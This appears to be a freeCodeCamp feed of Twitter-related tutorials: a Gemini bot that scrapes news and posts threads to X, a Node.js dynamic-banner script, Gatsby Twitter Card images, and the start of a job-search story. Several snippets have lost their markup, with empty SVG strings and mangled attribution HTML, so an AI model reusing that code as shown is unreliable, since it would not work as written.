Twitter - freeCodeCamp.org

How to Create an AI-Powered Bot that Can Post on Twitter/X

Arunachalam B — Wed, 23 Apr 2025 18:27:44 +0000

These days, everyone wants to be a content creator. But it can be hard to find time to create and curate content, post on social media, build engagement, and grow your brand.

And I’m not an exception to this. I wanted to create more content, and had an idea based on something I’ve observed. I subscribe to a few technology newsletters, and I read lots of updates every day about the tech ecosystem. But I’ve noticed that many of my peers often don’t seem to be aware of this news. So, I decided to post my top three news stories (especially about AI) on my Twitter/X account every day.

I did this for a couple of weeks, but after that I couldn’t find the time to keep it going. So, I did some research into how I could automate the process, and I found a solution. In this guide, I’ll explain the process so you can use it, too.

By the end of this tutorial, you’ll have created your own AI bot that:

Fetches data from an API or crawls a webpage
Processes the data using AI
Posts the results on Twitter/X

And the great thing: this entire process is automated.

Prerequisites
How to Build the Bot
Node.js Project Setup
Conclusion

Prerequisites

Before we begin creating a bot, you’ll need to have the following setup and tools ready to go:

NodeJS - A simple NodeJS app to code the bot

You’ll also need some API keys, secrets, and tokens. So, you’ll need to have the following accounts created:

Twitter Developer – To generate the Twitter/X API keys, secrets, and tokens
Google AI Studio – To generate the Gemini API key

How to Build the Bot

There are a number of steps I’ll walk you through to build your bot.

We’ll start by generating an API Key and Secret so we can use the Twitter/X API. Then we’ll generate an access token and access token secret with “Read and Write” permissions that’ll be able to post in your account. After that we’ll generate an API Key in Google Gemini (we’ll be using the Gemini API to process the data).

With all that taken care of, we’ll start working on the Node.js app. The app will be able to fetch data from an API, process the data using AI, and then post that data in the form of tweets on Twitter/X.

Finally, we’ll automate the entire process and schedule it to run daily.

Step 1: Generate the Twitter API Key

Navigate to Twitter Developer Website.
Click on the “Developer Portal” in the top right:
Signup using your account.
You’ll be asked to fill out a form asking how will you use the Twitter API, and a few basic details. It may take up to 24 hours to get approved. But, it’s approved instantly for me.
After login, Navigate to "Projects and Apps" and under “Overview” click on "Create App":
Enter a name for your app and click “Next” to proceed with creating your app. At the end, you’ll be shown your API Key and Secret. Don’t copy that now.
Click on the project you created from the left side drawer and click on the "Edit" option in “User authentication settings” section.
Select “Read and Write” in App Permissions section, “Web App, Automated App or Bot” in Type of App section, and enter your website URL (it can be any URL including http://localhost) in the “Callback URI” and “Website URL”. Then hit “Save”.
Go to “Keys and tokens” tab.
Click on “Regenerate” button in “API Key and Secret” section.
Copy and save the API Key and Secret somewhere securely.

Step 2: Generate Access Token and Secret

Go to “Keys and tokens” tab.
Click on “Generate” or “Regenerate” button in “Access Token and Secret” section.
Copy and save the Access Token and Secret somewhere securely.

Step 3: Generate an API Key in Google Gemini

Navigate to Google AI Studio.
Login to your account.
Click on “Get API Key” button at the top right.
Click on “Create API Key” button.
Copy and save the API Key somewhere securely.

Alright, we are done with creating the necessary API Keys and Secrets for our project. Let’s put on our coding shoes.

Node.js Project Setup

There are 5 major steps for this part of the project. They are:

Fetch data from the API
Upload the data as a file to Gemini API
Prompt Gemini with the uploaded file to get the latest AI news
Post news to Twitter/X using their API
Delete the file uploaded in Gemini API

These are just the snippets of code that can be assembled together to run this project.

Step 1: Fetch Data from the API

In my case, I’ll be using techmeme.com to get the latest news. But this site does not offer an API. So, I’ll be downloading the HTML of this site.

In the User-Agent header, we pass the value that mimics a browser user agent to avoid potential blocks.

Step 2: Upload the Data as a File to Gemini API

Now we need to store this HTML in a separate file. We cannot directly pass the HTML code in the prompt to the Gemini API, as it’ll result in an error. This is because Gemini accepts only a limited number of tokens in this API. The HTML code of any website will always result in huge number of tokens. So, we’ll create a separate file.

Upload the file to the Gemini API. Refer to the file id in the prompt to Gemini.

Step 3: Prompt Gemini to Get the Latest AI News

Let’s write a prompt to Gemini asking it to generate top news by referring to the HTML file provided. We’ll ask it to provide a headline, short description, URL, and three relevant hashtags for each tweet. We’ll also give some example data of how it should look. We’ll ask it to generate a structured response by providing the format of the JSON that we want the output to be.

You can use whatever model you want to, but I’ll be using the gemini-2.5-pro-exp-03-25 model for this use case. I’m using this model because we need a thinking model that thinks and picks the correct top news – not just one that predicts the next token/word. The Gemini 2.5 Pro model best qualifies for this.

Step 4: Post Using the Twitter/X API

Here’s the core of our app. We need to post all the tweets we received from Gemini. We’ll be posting the tweet as a thread. This means that the first tweet will be the root tweet and subsequent tweets will be in the comments of the prior tweet. This makes it a thread.

To do this, we’ll take the id of each tweet after it’s posted and pass it on to the next tweet as a reference. One additional thing to note here is, after each successful tweet, we’ll give a pause of 5 seconds before posting the next tweet. There are few reasons for doing it this way.

When any script runs, it usually runs at a much higher speed (usually in milliseconds). So, the second tweet may get posted before the first tweet was posted (maybe due to some poor internet connection). Also, I believe Twitter implements some queue system which may quickly process the second tweet before your first. So it’s always better to leave a small gap – if not 5 seconds then at least 1 second
Twitter may have implemented some rate limiting mechanism. So if there are multiple request received from a same IP within a short time frame, they may block the IP and consider your account as spam.
Since we’re using a Free tier API, we are limited to 1500 tweets per month. If you’ve paid for this API, you won’t have to worry about this (since you’ll have a higher limit and the rate limiting mechanism –refer to point #2 – might not be applicable). All of this depends on their pricing, so just refer to that and make your call accordingly.

I’m using the free tier, and since it’s a hobby project, having a 5 seconds wait time makes sense. I have not faced any issues so far with this.

Step 5: Delete the File Uploaded in the Gemini API

After posting all the tweets, it’s time to clean up the system. The only thing we need to do as a clean up is delete the uploaded file. It’s always a best practice to remove an unused file that’s no longer needed. And since we’ve already posted the tweets, we no longer need that file. So, we’ll be deleting it in this step.

That’s it. We’re all done. You just need to copy these blocks of code into an index.js file and install some dependencies into the project and you should be good to go.

To make this even more simple, I have created a repo and made it public. Here’s the Github repo URL. You just need to clone the repo, install the dependencies, and run the post command

git clone https://github.com/arunachalam-b/existential-crisis-alert-bot.git
cd existential-crisis-alert-bot
npm i

Create a .env file and update your API keys and secrets in that file:

GEMINI_API_KEY=
TWITTER_API_KEY=
TWITTER_API_SECRET=
TWITTER_ACCESS_TOKEN=
TWITTER_ACCESS_TOKEN_SECRET=

Run the following command to post the latest AI news to your account:

npm run post

The Result

Here’s a sample output of that command:

You can modify the code/prompt to fetch data from a different API and post the top results in your Twitter account.

Conclusion

I hope you now understand how you can automate a slightly complex process using AI and some APIs. Just note that this example is not completely automated. You still have to manually run the command everyday to post the tweets.

But you can automate that process as well. Just drop me a message if you wish to know about that. That topic itself deserves to be a separate tutorial. Also, I would request that you give a star for my project if you enjoyed this tutorial.

Meanwhile, you can follow my Twitter/X account to receive the top AI news everyday. If you wish to learn more about automation, subscribe to my email newsletter (https://5minslearn.gogosoon.com/) and follow me on social media.

How to Create a Dynamic Twitter Header

Spruce Emmanuel — Mon, 11 Oct 2021 14:50:00 +0000

In mid-2021, a new Twitter design trend emerged: dynamically updated headers. Developers decided that static headers were boring, and dynamic Twitter headers were the way to go.

Ever since then, many developers (including me) have been creating dynamic banners on Twitter. But what does this actually mean?

The idea is to use an image processing library to create and add multiple images together programmatically and then upload the final version on Twitter

This idea has opened many possibilities for Twitter folks, as you can now use Twitter headers to showcase or advertise anything you want.

In fact some developers have turned this to a SaaS product. But in my case I just wanted to keep it minimal and only display my current followers and a custom greeting message. This is the final result of what we'll be building here:

In this tutorial you'll learn how to create a Twitter banner that's updated dynamically with your current followers' profile pictures every 60 seconds.

So what do you need to know to follow along with this tutorial? Some basic knowledge of Node.js and JavaScript will be extremely helpful so you can get the most out of what we learn here.

Getting Started

To create our dynamic twitter header we are going to use Nodejs and the sharp image processing library. We'll use sharp to create and merge pieces of our dynamic header together.

To start, you are going to need a new banner. For this you can use your favorite image editing software, but in my case I used Figma.

I opened Figma and created a new Twitter banner that's 1500px x 500px. Then I added dummy boxes and text to visualize where I was going to place things with sharp later on.

How to Create a Twitter app

To continue you are going to need a Twitter Developer account. A developer account lets you interact with the Twitter API. If you don't have a developer account yet, head over to the Twitter Developer Portal and create one.

To fully interact with the Twitter API like pulling tweets or pulling followers you will need some ACCESS keys.

To get those access keys, you will need to create a Twitter app. So login to your dashboard and create a new Twitter app with a unique name. Once you are done click on the keys and tokens tab.

Copy your access tokens and save them to your clipboard or a text file for now. Then click on Generate secrets, and copy those as well.

Also, it is important that you update your twitter app permissions by clicking on the "Edit" button:

Once you have clicked the edit button, go ahead and select the Read and Write Direct Messages permission:

How to Set Up The Project

Open your code editor, and once you are in your directory of choice, open your terminal. I use the Visual Studio Code integrated terminal. Go ahead and create a new directory:

mkdir twitter-banner

Then you have to cd your way into that new directory, so go ahead and run:

cd twitter-banner

Once you are in that directory, let's create our Node.js project by running this command:

npm init -y

Right now you have an empty Nodejs project, so let's go ahead and install all the dependencies we'll need.

Still on the project directory and in your terminal run the following:

npm i dotenv axios sharp twitter-api-client

We'll use dotenv to read our environmental variables. axios lets us download remote images. The twitter-api-client is what we'll use to establish and communicate with Twitter. And finally sharp is an image processing library which we'll use in this tutorial to create our dynamic header.

Before you can continue, you'll need to create a .env file and add your access keys and secrets that you copied from Twitter earlier on:

Create an index.js file with the following code:

// step 1
const dotenv = require("dotenv");
dotenv.config();
const { TwitterClient } = require("twitter-api-client");
const axios = require("axios");
const sharp = require("sharp");

// step 2
const twitterClient = new TwitterClient({
  apiKey: process.env.API_KEY,
  apiSecret: process.env.API_SECRET,
  accessToken: process.env.ACCESS_TOKEN,
  accessTokenSecret: process.env.ACCESS_SECRET,
});

// step 3
async function get_followers() {
  const followers = await twitterClient.accountsAndUsers.followersList({
    count: 3,
  });

  console.log(followers);
}

// call function
get_followers()

In this code, we import our installed dependencies and store them in variables, for example sharp = require("sharp").

In the second step we connected to Twitter.

And lastly we created a function get_followers(). Using our twitter-api-client we fetched our followers, and using the count parameter we restricted the fetch to only 3 followers.

💡 Here's a tip: If you live in a country where Twitter is not currently available (like I do) you may want to install a VPN on your system.

Now open your package.json file and add a start script "start": "node index.js" like so:

Now run npm start, and if everything works fine you should see your 3 followers printed on the console:

How to Fetch Followers from Twitter

To kick things off, we'll start by fetching our recent followers from Twitter which we already did in the last section. Just edit your index.js file with the following code:

...
async function get_followers() {
  const followers = await twitterClient.accountsAndUsers.followersList({
    screen_name: process.env.TWITTER_HANDLE,
    count: 3,
  });

  const image_data = [];
  let count = 0;

  const get_followers_img = new Promise((resolve, reject) => {
    followers.users.forEach((follower, index,arr) => {
      process_image(
        follower.profile_image_url_https,
        `${follower.screen_name}.png`
      ).then(() => {
        const follower_avatar = {
          input: `${follower.screen_name}.png`,
          top: 380,
          left: parseInt(`${1050 + 120 * index}`),
        };
        image_data.push(follower_avatar);
        count++;
        if (count === arr.length) resolve();
      });

    });
  });


Let's break down this code a bit: first we created a function `get_followers()`. Inside the function we fetched our recent followers and saved them in the variable `followers`. Next we created a new `Promise` called `get_followers_img` and for each of the followers we called a function `process_img()`:

```js
process_image(
        follower.profile_image_url_https,
        `${follower.screen_name}-${index}.png`
      )

The function takes in two parameters: the follower image URL and the name of the image (for which we used the follower's screen name ${follower.screen_name}.png).

Another thing I wanted to point out is the follower_img_data. Remember when I said we'd be creating and adding multiple images together? To do this in sharp you need three properties:

input: The path to the file
top: Vetical position of the image
left: Horizontal position

We push each of the follower_img_data to our image_data array:

image_data.push(follower_img_data);

Lastly we check if all processes are complete and then resolve:

...
count++;
if (count === arr.length) resolve();

How to Process the Images

In the previous step we called a function process_img() that we have not yet created. In this step we'll create that function.

In your index.js create the function with the following code:

...
async function process_image(url, image_path) {
  await axios({
    url,
    responseType: "arraybuffer",
  }).then(
    (response) =>
      new Promise((resolve, reject) => {
        const rounded_corners = new Buffer.from(
          ''
        );
        resolve(
          sharp(response.data)
            .resize(100, 100)
            .composite([
              {
                input: rounded_corners,
                blend: "dest-in",
              },
            ])
            .png()
            .toFile(image_path)
        );
      })
  );
}

sharp doesn't support the use of remote images (images not stored on your filesystem), so we'll use axios to download the remote images from Twitter. Then finally when our promises are resolved will use sharp to resize and save the images in Buffer to our file system using toFile(image_path).

Note: Buffer here refers to memory storage used to temporarily store data (and in our case images). You can use this data as if it was in your filesystem.

You'll also notice we created a variable rounded_corners in which we drew a rectangle with svg:

const rounded_corners = new Buffer.from('
    
');

To make our created rectangle mimic a rounded image, it has to:

have the same size as our resized image 100
have its vertical and horizontal radius be half the size of our resized image 50

How to Create the Text

Everything has to be an image – even text. To create text with sharp we have to create it as SVG images and save it in Buffer storage. Now in your index.js file create a function called create_text():

...
async function create_text(width, height, text) {
  try {
    const svg_img = `
    " height="${height}">
    
    ${text}
    
    `;
    const svg_img_buffer = Buffer.from(svg_img);
    return svg_img_buffer;
  } catch (error) {
    console.log(error);
  }
}

The function create_text() takes in three parameters:

width: width of the image
height: height of the image
text: actual text you want to write, e.g. Hello World

So far so good! We have been creating and processing multiple images, and now comes the fun part: adding those images together to create a new image.

To get started, go back to your get_followers() function and add this at the end:

  get_followers_img.then(() => {
     draw_image(image_data);
  });

Now let's create the draw_image function we just called. Create a new function draw_image in your index.js file like this:

...
async function draw_image(image_data) {
  try {
    const hour = new Date().getHours();
    const welcomeTypes = ["Morning", "Afternoon", "Evening"];
    let welcomeText = "";

    if (hour < 12) welcomeText = welcomeTypes[0];
    else if (hour < 18) welcomeText = welcomeTypes[1];
    else welcomeText = welcomeTypes[2];

    const svg_greeting = await create_text(500, 100, welcomeText);

    image_data.push({
      input: svg_greeting,
      top: 52,
      left: 220,
    });

    await sharp("twitter-banner.png")
      .composite(image_data)
      .toFile("new-twitter-banner.png");

    // upload banner to twitter
    upload_banner(image_data);
  } catch (error) {
    console.log(error);
  }
}

The first thing we did in this code was to create a welcome greeting text depending on the hour of the day. Then, using the create_text() function we made earlier, we created and saved the greeting as an SVG buffer image:

const svg_greeting = await create_text(500, 100, welcomeText);

The next step was to add our new buffer image to our image data array:

    image_data.push({
      input: svg_greeting,
      top: 52,
      left: 220,
    });

Note that I got the top and left values from the Figma design (don't make those up!).

Next we combined our multiple images into one by using .composite(image_data) and saved it to a new file called new-twitter-banner.png.

    await sharp("twitter-banner.png")
      .composite(image_data)
      .toFile("new-twitter-banner.png");

Lastly, once we have successfully created our new image, we call a function upload_banner(). As the name implies, it lets us upload our new Twitter banner to Twitter.

To upload our new banner to Twitter, we need to first read the image from our filesystem. So we need to require a new module. Don't worry – we are not going to install it, it comes with NodeJs.

At the top of index.js where we required other modules, add the following:

// other modules
const fs = require("fs");

Then at the bottom of your index.js file, create an upload_banner() function with the following code:

async function upload_banner(files) {
  try {
    const base64 = await fs.readFileSync("new-twitter-banner.png", {
      encoding: "base64",
    });
    await twitterClient.accountsAndUsers
      .accountUpdateProfileBanner({
        banner: base64,
      })
      .then(() => {
        console.log("Upload to Twitter done");
        delete_files(files);
      });
  } catch (error) {
    console.log(error);
  }
}

Notice that we called another function delete_files() once the image was uploaded to Twitter. This is because we don't want our server to be filled with images of our new followers, so after every successful upload we delete the images:

...
async function delete_files(files) {
  try {
    files.forEach((file) => {
      if (file.input.includes('.png')) {
        fs.unlinkSync(file.input);
        console.log("File removed");
      }
    });
  } catch (err) {
    console.error(err);
  }
}

The function above checks our image_data (now called files) and for each input it checks if the input includes .png. It does this because some of our images (SVG text) are buffers and are not saved on our file system. So attempting to delete that would result in an error.

Finally we want to run the get_followers() function every 60s because that's where everything starts:

...
get_followers();
setInterval(() => {
  get_followers();
}, 60000);

And that's it! If you are interested, the entire code is on Github:

https://github.com/iamspruce/twitter-banner

Conclusion

If you made it this far, congratulations! You should now see your dynamic Twitter header. And depending on the time of the day, you should see a greeting message – in my case it is morning here as I'm writing this:

The rest is now up to your creativity. If you created something wonderful with this please feel free to tweet about it and tag me @sprucekhalifa. And don't forget to hit the follow button.

So I say unto you "Go into the world and be creative". Oh and happy coding!

Gatsby Starter Blog: How to Add Header Images to Posts with Support for Twitter Cards

freeCodeCamp — Tue, 29 Dec 2020 00:33:15 +0000

By David Good

If you're like me, you used Gatsby Starter Blog to kickstart your personal blog, made a few customizations, and then just rolled with it.

Adding new posts in the form of markdown is great. But it also means you rarely have a reason to look at the code. So when I decided to add header images to my posts with support for Twitter Cards, I felt lost.

My requirements were to be able to add a large header image with a caption to a post as you can see here:

https://davidagood.com/dynamodb-enhanced-client-java-heterogeneous-item-collections/

Furthermore, a tweet which contains a link to the post should "expand" into Twitter's Summary Card with Large Image, like this:

And finally, for posts which do not specify an image, a default image should be shown using Twitter's Summary Card. Here's what that looks like where I've used my website logo as the default image:

Note: Twitter's docs state that a website logo should not be used for a card image (see twitter:image section here). I'll leave it to you to decide whether it makes sense to use a fixed image as a fallback like I have here.

Getting Started

Here are the five high-level steps which I will be guiding you through. I'll attempt to explain everything in depth and provide links to other resources along the way. That way you will build up your knowledge of Gatsby which you can draw from to tackle the later, more complicated steps.

Add Document Metadata Tags
Source Default Image using GraphQL
Source Post-Specific Image Properties using GraphQL
Add Header Image to Blog Post Template
Add New Properties to Post's Frontmatter

The tools which we'll be using to accomplish this all come out of the box with Gatsby Starter Blog!

React Helmet - Used in the SEO component to add meta tags to the document head to support Twitter Cards and other Open Graph tags
Gatsby Source Filesystem - A "plugin for sourcing data into your Gatsby application from your local filesystem", images in our case
Gatsby Image - "a React component specially designed to work seamlessly with Gatsby’s GraphQL queries. It combines Gatsby’s native image processing capabilities with advanced image loading techniques to easily and completely optimize image loading for your sites. gatsby-image uses gatsby-plugin-sharp to power its image transformations."
Gatsby Plugin Sharp - "Exposes several image processing functions built on the Sharp image processing library". We use this for resizing images.

How to Add Document Metadata Tags

First, we will wire up the HTML metadata tags which can be read by Twitter and any other platform or tool which understands Open Graph such as Google, Facebook, and WhatsApp.

Learn more about document metadata here: What’s in the head? Metadata in HTML.

Open the SEO component in src/components/seo.js. The first thing to notice is that this is using React Helmet, and it already has many Open Graph and Twitter meta tags like og:title, twitter:description. It even has a twitter:card tag with a value of "summary" which enables a basic Twitter Summary Card with no image:

// src/components/seo.js
const SEO = ({ description, lang, meta, title }) => { 
// Details omitted for brevity 
return ( 
    <Helmet 
        htmlAttributes={{ lang }} 
        title={title} 
        titleTemplate={`%s | ${site.siteMetadata.title}`} 
        meta={[ 
            { name: `description`, content: metaDescription, }, 
            { property: `og:title`, content: title, }, 
            { property: `og:description`, content: metaDescription, }, 
            { property: `og:type`, content: `website`, }, 
            { property: `twitter:card`, content: `summary`, }, 
            { property: `twitter:creator`, 
              content: site.siteMetadata.social.twitter, }, 
            // ...

Let's update this component:

Add imageUrl and imageAlt parameters. These will be passed as props by the BlogPostTemplate component as we will see later. Note that that I've used "URL" in the prop name to convey the fact that this must be a fully-qualified URL. Relative paths are not supported for the OG image!
Construct the default image URL, defaultImageUrl. I've written a tiny utility function, constructUrl, to concatenate a base URL with a relative path. We will see where data.ogImageDefault comes from in the next section.
Add an ogImageUrl variable which takes the imageSrcUrl prop or, if that's not provided, defaults to defaultImageUrl.
Add objects to the meta array passed to the Helmet component: og:image, twitter:card, and twitter:image:alt

A few things to note here:

Twitter does have its own twitter:image meta tag, but per the docs, we don't need to add both the og:image and the twitter:image tag since Twitter's parser will fall back to the Open Graph tags.
Open Graph specifies the meta attributes property and content whereas Twitter specifies name and content, respectively. But again, the Twitter docs state that their parser will fall back to the Open Graph attributes. This is nice because we can maintain consistency and don't need a bunch of repetitive properties with the same values which we have to keep in sync.
Notable exceptions to using the property attribute on meta tags are any non-Open Graph tags like description which must use the name attribute. I encourage you to use Lighthouse which will identify basic issues with your SEO.

// util.js
export const constructUrl = (baseUrl, path) =>
  (!baseUrl || !path) ? null : `${baseUrl}${path}`;

// src/components/seo.js
// Step 1: Add props
const SEO = ({ description, lang, meta, title, imageUrl, imageAlt }) => { 

    const data = useStaticQuery(
        // This is explained next
    );

    // Step 2: Construct default image URL
    // ogImageDefault is explained next
    const defaultImageUrl = constructUrl(data.site.siteMetadata.siteUrl, data.ogImageDefault?.childImageSharp?.fixed?.src)

    // Step 3: Add this
    const ogImageUrl = imageUrl || defaultImageUrl; 

    return ( 
        // Step 4: Add new meta objects
        <Helmet 
            htmlAttributes={{ lang }} 
            title={title} 
            titleTemplate={`%s | ${site.siteMetadata.title}`} 
            meta={[
                { property: `og:image`, content: ogImageUrl, }, 

                // If a post has an image, use the larger card. 
                // Otherwise the default image is just 
                // a small logo, so use the smaller card.
                { property: `twitter:card`, content: imageUrl ? `summary_large_image` : `summary`, }, 

                // Add image alt text
                // Falls back to default which describes the site logo
                { property: `twitter:image:alt`, content: imageAlt || "davidagood.com logo", }, 
                // ...

How to Source Default Image using GraphQL

This is where Gatsby's filesystem and image processing capabilities come into play. Below is the useStaticQuery call GraphQL query from the SEO component. I've added the ogImageDefault portion and the siteUrl which is needed for the constructUrl call shown above.

// src/components/seo.js
const data = useStaticQuery(
    graphql`
      query {
        site {
          siteMetadata {
            title
            description
            social {
              twitter
            }
            # Add this
            siteUrl
          }
        }
        # Add this
        ogImageDefault: file(relativePath: {eq: "icon.png"}) { 
          childImageSharp {
            fixed(height: 260, width: 260) {
              src
            }
          }
        }
      }
    `,
);

GraphQL File and Image Processing Query Explained

The top level node is ogImageDefault. This is a GraphQL alias for the file query which is applying a filter to find a file with relative path equal to icon.png. The name I've chosen, ogImageDefault, is completely arbitrary.

One key thing to understand here is what the relativePath is relative to. In other words, where is this file, icon.png?

Let me start by telling you the location of the file relative to the project root: ./content/assets/icon.png. In the query, I haven't specified any relative path, just the filename. So how does Gatsby know where to find it?

Enter [gatsby-source-filesystem](https://www.gatsbyjs.com/plugins/gatsby-source-filesystem/). If you look in gatsby-config.js you will see some config like this:

// gatsby-config.js 
module.exports = { 
    // siteMetadata: {...}, 
    plugins: [ 
        // Other plugins omitted 
        { 
            resolve: `gatsby-source-filesystem`, 
            options: { 
                path: `${__dirname}/content/blog`, 
                name: `blog`, 
            }, 
        }, 
        { 
            resolve: `gatsby-source-filesystem`, 
            options: { 
                path: `${__dirname}/content/assets`, 
                name: `assets`, 
            }, 
        }, 
        // ...

What this is doing is registering these paths as "content roots" and giving them a name. So the name blog refers to ./content/blog relative to the project root. And the name assets refers to ./content/assets relative to the project root. You can use these names in queries by filtering on sourceInstanceName:

# http://localhost:8000/___graphql 
{ 
    allFile(filter: {sourceInstanceName: {eq: "blog"}}) { 
        edges { 
            node { 
                absolutePath 
                publicURL 
                sourceInstanceName 
            } 
        } 
    } 
}

The result of this query:

// Result of allFiles query with sourceInstanceName filter 
{ 
    "data": { 
        "allFile": { 
            "edges": [{ 
                "node": { 
                    "absolutePath": "/home/dgood/IdeaProjects/davidagood.com/content/blog/clean-code-and-architecture/index.md", 
                    "publicURL": "/static/40bb02d938c4faf7f977dd66c1a399d2/index.md", 
                    "sourceInstanceName": "blog" 
                } 
            }, 
            // additional results...

So back to ogImageDefault: the relativePath we provided was just icon.png, but the file is actually located at ./content/assets/icon.png.

Gatsby was able to resolve to the file because we configured a "content root" at ./content/assets. We could have specified the sourceInstanceName to remove any ambiguity as to which "content root" this file is located in.

In fact, I'm not sure how Gatsby would behave if the same relative path existed in multiple "content roots".

This would be a good opportunity to dig into the Gatsby's source code to understand how this all works, but I'll leave that to you!

Next up: what is childImageSharp? "Child" refers to this being a child node of a File node. "Image" is just like it sounds. "Sharp" is referring to the Sharp image processing tool and corresponding Gatsby plugin, gatsby-plugin-sharp, which enables these image processing features.

fixed means we want transform the image into an image of a fixed size. We specify the dimensions by passing parameters like this: fixed(height: 260, width: 260). There are a few alternatives to fixed which we could use, one of which we will see below.

Finally, we only need the src property for the purposes of the Open Graph image meta tag.

How to Source Post-Specific Image Properties using GraphQL

Following from above, we must update the BlogPostTemplate component to pass the imageUrl and imageAlt props to the SEO component. Again, we use the constructUrl utility to convert the relative path, src, into a URL. I explain the origin of these props' values below.

// util.js
export const constructUrl = (baseUrl, path) =>
  (!baseUrl || !path) ? null : `${baseUrl}${path}`;

// src/templates/blog-post.js
const BlogPostTemplate = ({ data, pageContext, location }) => { 
    // Details omitted for brevity
    return ( 
        <Layout location={location} title={data.site.siteMetadata.title}> 
            <SEO 
                title={data.markdownRemark.frontmatter.title} 
                description={data.markdownRemark.frontmatter.description || data.markdownRemark.excerpt} 
                imageUrl={
                    constructUrl(
                        data.site.siteMetadata.siteUrl, data.markdownRemark.frontmatter.image?.childImageSharp?.fixed?.src
                )} 
                imageAlt={data.markdownRemark.frontmatter.imageAlt} />
        // ...

Sourcing the image alt text is straightforward: we add imageAlt as a property to the frontmatter portion of our BlogPostTemplate component's GraphQL query. This query is exported as a GraphQL tagged template.

The name of the exported constant is arbitrary. In my case it's const pageQuery.

This query gets executed for us by Gatsby, and the results are passed to the BlogPostTemplate component in the data prop.

This is explained in the Gatsby docs here: Querying Data in Pages with GraphQL.

In order to source the actual image, we use childImageSharp again but in a slightly different way than we saw above:

// src/templates/blog-post.js
export const pageQuery = graphql`
    query BlogPostBySlug($slug: String!) {
      site {
        siteMetadata {
          title
          siteUrl
        }
      }
      markdownRemark(fields: {slug: {eq: $slug}}) {
        id
        excerpt(pruneLength: 160)
        html
        frontmatter {
          title
          date(formatString: "MMMM DD, YYYY")
          description
          # Add this
          image {
            childImageSharp {
              fixed(height: 600, width: 1200) {
                src
              }
              fluid(maxWidth: 700, maxHeight: 500) {
                ...GatsbyImageSharpFluid
              }
            }
          }
          # Add these
          imageAlt
          imageTitleHtml
        }
      }
    }
`;

Here, image must match the name of the property we intend to set in the post's frontmatter. And the value of this property must be a path to a file relative to the post markdown file.

This is similar to what we did above using a GraphQL alias and the file query, but here it's implicit and being handled behind the scenes by Gatsby.

We specify the dimensions in the parameters to the fixed field. When choosing the dimensions, make sure any image you use is at least as big as the dimensions you specify here, and use these guideline from the docs:

Images for this Card support an aspect ratio of 2:1 with minimum dimensions of 300x157 or maximum of 4096x4096 pixels

We have also added the fluid property and a GraphQL fragment, ...GatsbyImageSharpFluid, which retrieves all of the properties available on this node without having to enumerate them one by one.

The Gatsby Image component is designed to be used this way in order to provide a responsive image experience using HTML's native responsive image capabilities.

How to Add a Header Image to your Blog Post Template

With the GraphQL query updated and the results being passed to our component by Gatsby, we're ready to add the Gatsby Image import and the JSX for the header image and caption:

// src/templates/blog-post.js
import Image from "gatsby-image";

// Details omitted for brevity

{data.markdownRemark.frontmatter.image?.childImageSharp?.fluid &&
    <>
        <Image
            fluid={data.markdownRemark.frontmatter.image.childImageSharp.fluid}
            alt={data.markdownRemark.frontmatter.imageAlt} 
        />
        <div
            style={{
                textAlign: "center",
                fontSize: "14px",
                lineHeight: "28px",
            }}
            dangerouslySetInnerHTML={{ 
                __html: data.markdownRemark.frontmatter.imageTitleHtml 
            }} 
        />
        <br/>
        <br/>
    
}

If the image or imageAlt properties are not set in a post's frontmatter, it won't cause any issues. Those properties will just be null in the post's data prop, for example data.markdownRemark.frontmatter.image and data.markdownRemark.frontmatter.imageAlt.

For that reason, I've used optional chaining when passing the imageUrl prop to the SEO component: data.markdownRemark.frontmatter.image?.childImageSharp?.fixed?.src and when optionally adding the header image component tree: data.markdownRemark.frontmatter.image?.childImageSharp?.fluid.

How to Add New Properties to a Post's Frontmatter

Now all that's left is to add the actual image file, typically in the same directory as the markdown where we want to use it. Then we add the image, imageAlt, and imageTitleHtml properties to the post's frontmatter.

I've taken the suggested attribution HTML directly from Unsplash and used it for the imageTitleHtml.

Remember: in this case, the image path is relative to the post markdown file.

--- 
title: "Working with Heterogeneous Item Collections in the DynamoDB Enhanced Client for Java" 
date: "2020-12-07T01:51:34.815Z"
description: "Working with heterogeneous item collections with the Java SDKs can be tricky. Here we see how to handle 
them with the AWS SDK v2 for Java's Enhanced Client."
image: "./kevin-mueller-gGUiw8GNIFE-unsplash.jpg"
imageAlt: "Water droplets on black background"
imageTitleHtml: '<span>Photo by <a href="https://unsplash.com/@kevinmueller?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Kevin Muellera> on <a href="https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplasha>span>'

--- 

// Markdown here...

Conclusion

That's it – you did it! We covered quite a few concepts in this article. You should now be able to add header images to your blog posts and get nice Open Graph-based preview experiences on Twitter, Facebook, Google, WhatsApp, and more.

You can find the completed code on GitHub here:

Once you've implemented this and deployed it, you can use the Twitter Card Validator to test the behavior before actually tweeting a link.

Coincidentally, I did experience some issues with cards not being displayed in tweets even though the Validator showed that they were working.

In one case, I tweeted a link in a reply, and there was no card at all—just the raw link. The next day, I tweeted the same link, and this time the card worked fine!

In another case, I was looking at my Twitter Profile page, and several of my tweets had the cards but the image was not being displayed. So I opened a Chrome Incognito window, and in that window the images were displayed as expected.

How I landed offers from Microsoft, Amazon, and Twitter without an Ivy League degree

freeCodeCamp — Sun, 23 Feb 2020 08:14:06 +0000

By Zhia Chong

This is for those of you out there who are about to start your job search and who may be worried that you can’t land a top-tier tech job without a Stanford CS degree. Someone told you that you’re not good enough to get a job at Microsoft or Facebook.

But I’m here to tell you that you can get that job. Here’s how I landed my dream job at Twitter.

Read more about my courses here to learn how I prepared.

You can read about my experiences after a year at Twitter here.

What this article covers:

My background
How I landed interviews with top tech companies in the world: Facebook Google, Amazon, LinkedIn, Microsoft, Twitter, Pinterest, Snapchat, and others.
How I landed multiple offers as a full-time software engineer
Lessons from my interview experience
Subscribe here for more article updates from me

If you prefer to watch my story instead, I made a video here:

Background

I did not graduate from an Ivy league school. I went to a community college in Idaho for two years, and then finished my CS degree at a small Catholic university.

I started learning computer science in my junior year of college, because it sounded fun to me at the time. The only thing resembling a computer I had growing up was a Chinese copycat of the Nintendo SNES. Even then, it would break every time I put a cartridge in it.

To support myself through college, I took multiple part-time jobs like cleaning floors and working stand-up concessions.

When I graduated, I didn’t have a job lined up. I applied to as many big tech companies as I could, and had the good fortune of landing a few phone interviews.

At this point, I didn’t have a single notion of what a technical screen would be like, much less how to prepare for it. I headed into these interviews thinking that the interviewer would ask me what a linked list or binary tree was.

I didn’t pass any of those interviews.

Moving forward

I didn’t delve too much into whether I was good. I knew that I could learn things fast. I just needed an opportunity.

